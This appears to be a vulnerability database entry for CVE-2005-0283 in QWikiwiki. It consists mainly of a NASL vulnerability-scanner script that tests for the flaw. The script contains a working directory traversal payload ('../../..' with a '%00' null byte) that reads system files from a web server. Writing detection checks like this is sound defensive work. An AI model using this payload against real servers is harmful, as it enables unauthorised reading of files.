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QWikiwiki directory traversal vulnerability

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2005 Noam RathausType 
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QWikiwiki directory traversal vulnerability in PHP application allows remote attackers to read arbitrary files on the web serve

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ReporterTitlePublishedViews
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CVE
CVE-2005-0283
10 Feb 200505:00
cve
Cvelist
CVE-2005-0283
10 Feb 200505:00
cvelist
Exploit DB
QwikiWiki - Directory Traversal
4 Jan 200500:00
exploitdb
EUVD
EUVD-2005-0284
7 Oct 202500:30
euvd
NVD
CVE-2005-0283
4 Jan 200505:00
nvd
SourceLink
securityfocuswww.securityfocus.com/bid/12163
# SPDX-FileCopyrightText: 2005 Noam Rathaus
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

#From: Madelman <[email protected]>
#QWikiwiki directory traversal vulnerability
# Date: 2005-01-04 21:31

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.16100");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2005-0283");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/12163");
  script_name("QWikiwiki directory traversal vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 Noam Rathaus");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"The remote host is running QWikiwiki, a Wiki application written in PHP.

  The remote version of this software contains a validation input flaw which may allow an attacker
  to use it to read arbitrary files on the remote host with the privileges of the web server.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  foreach file( keys( files ) ) {

    url = dir + '/index.php?page=../../../../../../../../../../../' + files[file]  +'%00';

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

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15 Apr 2025 00:00Current
6.8Medium risk
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